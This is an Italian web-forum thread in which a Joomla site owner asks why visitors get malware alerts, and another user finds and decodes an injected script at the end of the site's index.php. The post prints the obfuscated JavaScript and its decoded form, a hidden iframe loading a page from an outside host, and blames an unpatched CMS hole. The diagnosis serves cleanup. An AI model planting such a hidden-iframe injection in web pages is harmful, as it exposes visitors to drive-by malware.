Antivirus su sito internet?

[morcas]

Ciao a tutti avrei una curiosità da chiedervi.

Ho un sito www.theskullsclan.com, con joomla 1.5.7, forum in bridge phpbb3. Alcuni utenti rilevano un malware sul mio sito che ne blocca la navigazione.
Il mio hosting è aruba.

Sapete per caso dell'esistenza di qualche tools o antivirus o pagina internet, tramite il quale si può lanciare una scansione sul mio sito internet?
Grazie
Morcas

[56francesco]

sarà qualche componente in conflitto, fatti dire che browser usa chi ti ha segnalato il problema?
tu ad esempio lo vedi bene? con che browser?

[morcas]

io utilizzo sia explorer che firefox e non ho questo problema.

Dovrebbe essere una questione di antivirus. Almeno credo.
Potrebbero essere i robot sul forum phpbb?

[maicolstaip]

Ciao,
prova a togliere Shinystat

[gagne]

credo che puo essere il player che usi sul sito

[Wiliamaxl]

Ciao,
io uso avg 8 che nelle ricerche su google mi da verifica dei siti che contengono mincacce, nella ricerca del tuo sito mi dice che è sicuro...

Ciao

[morcas]

Grazie per le risposte. Ma a voi il mio sito vi segnala la presenza di qualche virus?

[maicolstaip]

Ciao,
guarda in fondo il tuo index.php.
C'è questo codice che sicuramente non hai messo tu:

Codice: [Seleziona]

<script language="javascript">
document.write( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%78%6F%6E%6C%69%6E%65%2E%65%6F%66%2E%68%75%2F%31%35%2F%6A%73%5F%67%6F%5F%66%31%2E%70%68%70%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E' ) );
</script>
Il codice è criptato e crea un iframe nella pagina:

Codice: [Seleziona]

<script language="javascript">
document.write( unescape( '<iframe src="http://sexonline.eof.hu/15/js_go_f1.php" style="display:none"></iframe>' ) );
</script>
La decriptazione è stata fatta in questa pagina:
http://scriptasylum.com/tutorials/encdec/encode-decode.html

Mi sembra di aver incontrato qualcosa di simile un paio di anni  fa in un sito fatto con mambo ed avevo risolto editando tutte le pagine a mano e facendo l'aggiornamento all'ultima versione disponibile, perchè l'iframe era stato inserito sfruttando una vulnerabilità di mambo che io ovviamente avevo sottovalutato.

Ciao